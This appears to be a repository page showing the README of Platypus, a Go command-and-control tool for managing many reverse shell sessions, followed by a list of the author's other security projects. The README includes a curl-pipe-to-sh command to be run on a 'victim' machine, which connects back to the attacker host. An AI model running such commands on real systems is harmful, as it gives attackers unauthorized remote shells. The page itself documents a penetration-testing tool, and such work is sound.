• Stars
    star
    1,503
  • Rank 31,212 (Top 0.7 %)
  • Language
    Go
  • License
    GNU Lesser Genera...
  • Created over 6 years ago
  • Updated about 2 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

🔨 A modern multiple reverse shell sessions manager written in go

Platypus

Travis-CI GitHub stars GitHub license GitHub Release Downloads Sponsors

A modern multiple reverse shell sessions/clients manager via terminal written in go

Features

  • Multiple service listening port
  • Multiple client connections
  • RESTful API
  • Python SDK
  • Reverse shell as a service (Pop a reverse shell in multiple languages without remembering idle commands)
  • Download/Upload file with progress bar
  • Full interactive shell
    • Using vim gracefully in reverse shell
    • Using CTRL+C and CTRL+Z in reverse shell
  • Start servers automatically
  • Port forwarding
  • Initialize from configuration file
  • Web UI

Documents

Get Start

There are multiple ways to run this tool, feel free to choose one of the following method.

Install requirements for running (Optional)

sudo apt install upx

Run Platypus from source code

git clone https://github.com/WangYihang/Platypus
cd Platypus
sudo apt install -y make curl
make install_dependency
make release

Run Platypus from docker-compose

docker-compose up -d
# Method 1: enter the cli of platypus
docker-compose exec app tmux a -t platypus
# Method 2: enter the web ui of platypus
firefox http://127.0.0.1:7331/

Run Platypus from release binaries

  1. Download Platypus prebuild binary from HERE
  2. Run the downloaded executable file

Usage

Network Topology

  • Attack IP: 192.168.88.129
    • Reverse Shell Service: 0.0.0.0:13337
    • Reverse Shell Service: 0.0.0.0:13338
    • RESTful Service: 127.0.0.1:7331
  • Victim IP: 192.168.88.130

Give it a try

First, run ./Platypus, then the config.yml will be generated automatically, and the config file is simple enough.

servers: 
  - host: "0.0.0.0"
    port: 13337
    # Platypus is able to use several properties as unique identifier (primirary key) of a single client.
    # All available properties are listed below:
    # `%i` IP
    # `%u` Username
    # `%m` MAC address
    # `%o` Operating System
    # `%t` Income TimeStamp
    hashFormat: "%i %u %m %o"
  - host: "0.0.0.0"
    port: 13338
    # Using TimeStamp allows us to track all connections from the same IP / Username / OS and MAC.
    hashFormat: "%i %u %m %o %t"
restful:
  host: "127.0.0.1"
  port: 7331
  enable: true
# Check new releases from GitHub when starting Platypus
update: false

As you can see, platypus will check for updates, then start listening on port 13337, 13338 and 7331

The three port have different aims.

  • 13337 Reverse shell server, which disallows the reverse session comes from the IP.
  • 13338 Reverse shell server, which allows the reverse session comes from the IP.
  • 7331 Platypus RESTful API EndPoint, which allows you to manipulate Platypus through HTTP protocol or Python SDK.

If you want another reverse shell listening port, just type Run 0.0.0.0 1339 or modify the config.yml.

Also, platypus will print help information about RaaS which release you from remembering tedious reverse shell commands.

With platypus, all you have to do is just copy-and-paste the curl command and execute it on the victim machine.

curl http://127.0.0.1:13337/|sh
curl http://192.168.88.129:13337/|sh

Now, suppose that the victim is attacked by the attacker and a reverse shell command will be executed on the machine of victim.

Notice, the RaaS feature ensure that the reverse shell process is running in background and ignore the hangup signal.

Get start with Web UI

Manage listening port

Wait for client connection

Popup an interactive shell

Upgrade a reverse shell to an encrypted channel (Termite)

Get start with cli

List all victims

You can use List command to print table style infomation about all listening servers and connected clients. Notice that the port 13337 will reset the connection from the same machine (we consider two connection are same iff they share the same Hash value, the info being hash can be configured in config.yml). Port 13338 will not reset such connections, which provide more repliability.

Select a victim

Jump command can take you a tour between clients. Use Jump [HASH / Alias] to jump. Alias is a alias of a specific client, you can set a alias of a client via Alias [ALIAS]. Also, for jumping through HASH, you do not need to type the whole hash, just prefix of hash will work.

All commands are case insensitive, feel free to use tab for completing.

Interactive shell

Interact will popup a shell, just like netcat.

Download file

Use Download command to download file from reverse shell client to attacker's machine.

Upload file

Use Upload command to upload file to the current interacting client.

Interactive shell mode

This feature only works on *nix clients

For your user experience, we highly RECOMMEND you use Upgrade command to upgrade the plain reverse shell to a encrypted interactive shell.

Try to Spawn /bin/bash via Python, then the shell is fully interactive (You can use vim / htop and other stuffs). First use Jump to select a client, then type PTY, then type Interact to drop into a fully interactive shell. You can just simply type exit to exit pty mode, to avoid the situation in issue #39, you can use platyquit to quit the fully interactive shell mode.

Advanced Usages

  • Reverse shell as a Service (RaaS)
  • RESTful API
  • Python SDK

Other Materials

TODOs

Contributors

This project exists thanks to all the people who contribute.

Backers

Thank you to all our backers! 🙏 [Become a backer]

Sponsors

Support this project by becoming a sponsor. Your logo will show up here with a link to your website. [Become a sponsor]

404StarLink 2.0 - Galaxy

Platypus has joined 404Team 404StarLink 2.0 - Galaxy

More Repositories

1

GitHacker

🕷️ A `.git` folder exploiting tool that is able to restore the entire Git repository, including stash, common branches and common tags.
Python
1,408
star
2

Webshell-Sniper

🔨 Manage your website via terminal
Python
419
star
3

SourceLeakHacker

🐛 A multi threads web application source leak scanner
Python
379
star
4

ccupp

基于社会工程学的弱口令密码字典生成工具
Python
340
star
5

UsbKeyboardDataHacker

USB键盘流量包取证工具 , 用于恢复用户的击键信息
Python
320
star
6

Reverse-Shell-Manager

🔨 A multiple reverse shell session/client manager via terminal
Python
237
star
7

USB-Mouse-Pcap-Visualizer

USB mouse traffic packet forensic tool, mainly used to draw mouse movements and dragging trajectories
JavaScript
233
star
8

Exploit-Framework

🔥 An Exploit framework for Web Vulnerabilities written in Python
Python
170
star
9

Apache-HTTP-Server-Module-Backdoor

👺 A Simple Backdoor For Apache HTTP Server
C
151
star
10

MIT-6.031-Readings-zh-cn

麻省理工大学-18年春季学期-软件构造(6.031)课程阅读中文版
84
star
11

awesome-web-security

📓 Some notes and impressive articles of Web Security
74
star
12

Codiad-Remote-Code-Execute-Exploit

A simple exploit to execute system command on codiad
Python
64
star
13

Find-PHP-Vulnerabilities

🐛 A plug-in of sublime 2/3 which is able to find PHP vulnerabilities
Python
56
star
14

PwnMe

二进制渗透题目汇总
Python
54
star
15

IdiomsSolitaire

成语接龙
Python
48
star
16

sqli-labs

WriteUp of sqli-labs (GitBook : https://www.gitbook.com/book/wangyihang/sqli-labs/details)
39
star
17

12306

12306网站抢票Python脚本
Python
28
star
18

WebShellCracker

WebShell密码爆破工具
Python
19
star
19

LinuxShellScript

LinuxShell编程笔记
Shell
15
star
20

SQL-Hacker

简单SQL注入工具
Python
14
star
21

XorShellcode

Shellcode异或加密工具
Python
12
star
22

Subdomain-Crawler

A program for collecting subdomains of a list of given second-level domains (SLD)
Go
12
star
23

ShellcodeSpider

Shellcode Spider of Exploit-DB
C
12
star
24

HIT-Courses-Calendar

哈尔滨工业大学教务处课表Excel转换iCal脚本
Python
10
star
25

gojob

Go(od) Job is a simple job scheduler that supports task retries, logging, and task sharding.
Go
10
star
26

Proxy-Verifier

A set of tools designed to efficiently and effectively locate publicly available proxy server resources.
Go
9
star
27

PPT-Generator

Generate PPT via a simple summary
Python
9
star
28

tplayer

一个Linux终端播放器 , 使用字符绘制图片/视频 , 并按照帧率播放
Python
8
star
29

Presentations

8
star
30

t3sec-network-flow-analysis

6
star
31

acw-sc-v2.js

`acw_sc__v2` cookie generator
HTML
5
star
32

Docker-Container-Exposer

Expose docker containers to public network
Shell
5
star
33

pickle-pickle

A arbitary python code executer via python pickle
Python
5
star
34

CrackMe

CrackMe 汇总
Python
5
star
35

Platypus-Python

Python
5
star
36

SimpleEncrypter

简单shellcode加密工具(存在 0 字节)
Python
4
star
37

Markdown-URL-to-Title

Python
4
star
38

DBLP-Spider

A spider tool for downloading the DBLP search results into local BibTeX files.
Python
4
star
39

MovieSearcher

电影资源搜索工具
Python
3
star
40

Image-LSB-Stego

Python
3
star
41

http-grab

Go
2
star
42

tranco-go-package

Go
2
star
43

acw-sc-v2-py

Python requests.HTTPAdapter for `acw_sc__v2`
Python
2
star
44

dns-grab

Go
2
star
45

PrintableShellcodeCreator

可打印shellcode生成工具
C
2
star
46

DBAPPSecurity-Unified-Security-Management-Python-Connector

Python Connector for DBAPPSecurity Unified Security Management | 明御®运维审计与风险控制系统(堡垒机)
Python
1
star
47

bgphenet

Go
1
star
48

acw-sc-v2-go

Go
1
star
49

ModifyHeadersForChrome

ModifyHeadersForChrome
JavaScript
1
star
50

ProcessInjector

C
1
star
51

JBrowserWithPulgins

Java实现的一个简单的Web浏览器 , 提供了插件功能 , 目前插件有下载地址分析器
Java
1
star